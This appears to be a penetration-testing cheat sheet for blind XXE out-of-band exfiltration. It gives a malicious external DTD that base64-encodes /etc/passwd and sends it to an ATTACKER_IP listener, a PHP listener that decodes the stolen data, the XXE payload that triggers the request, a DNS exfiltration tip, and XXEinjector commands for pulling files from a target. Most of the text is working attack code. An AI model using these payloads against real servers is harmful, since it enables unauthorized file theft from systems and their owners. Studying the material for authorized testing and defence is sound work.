XXE — Blind Data Exfiltration
Used when the application returns no XML output and no runtime errors — none of the reflected or error-based techniques work.
Out-of-band (OOB) exfiltration
Instead of reading file contents from the response, make the server send the data to you via an HTTP request. The file content is base64-encoded and placed as a URL parameter in a request that the target server makes to your listener.
Step 1 — create xxe.dtd on your machine
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % oob "<!ENTITY content SYSTEM 'http://ATTACKER_IP:8000/?content=%file;'>">
%file— reads and base64-encodes the target file%oob— builds an HTTP URL with the encoded content as a query parameter; when triggered, the server requests this URL from your listener
Step 2 — create a PHP listener that auto-decodes (index.php)
<?php
if (isset($_GET['content'])) {
error_log("\n\n" . base64_decode($_GET['content']));
}
?>
Step 3 — start the PHP server
php -S 0.0.0.0:8000
Step 4 — send the XXE payload to the target
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE email [
<!ENTITY % remote SYSTEM "http://ATTACKER_IP:8000/xxe.dtd">
%remote;
%oob;
]>
<root>&content;</root>
<root>&content;</root> triggers the %oob entity, which causes the server to issue the HTTP request containing the file data.
Result
The PHP server log will show the decoded file contents:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
Tip: DNS OOB exfiltration is an alternative — encode the file data as a subdomain (ENCODEDTEXT.attacker.com) and capture it with tcpdump. More complex but useful when HTTP egress is restricted.
Automated OOB — XXEinjector
XXEinjector automates basic XXE, CDATA source exfiltration, error-based XXE, and blind OOB XXE.
Setup
git clone https://github.com/enjoiz/XXEinjector.git
Prepare the request file
Copy the raw HTTP request from Burp into a file. Include only the first line of the XML body and add XXEINJECT as the injection position marker:
POST /blind/submitDetails.php HTTP/1.1
Host: TARGET_IP
Content-Type: text/plain;charset=UTF-8
...
<?xml version="1.0" encoding="UTF-8"?>
XXEINJECT
Run
ruby XXEinjector.rb \
--host=ATTACKER_IP \
--httpport=8000 \
--file=/tmp/xxe.req \
--path=/etc/passwd \
--oob=http \
--phpfilter
--phpfilter applies the base64 PHP filter wrapper. Exfiltrated files are saved to Logs/TARGET_IP/path/to/file.log:
cat Logs/TARGET_IP/etc/passwd.log
The tool does not print base64-encoded data directly to stdout — check the Logs directory for results.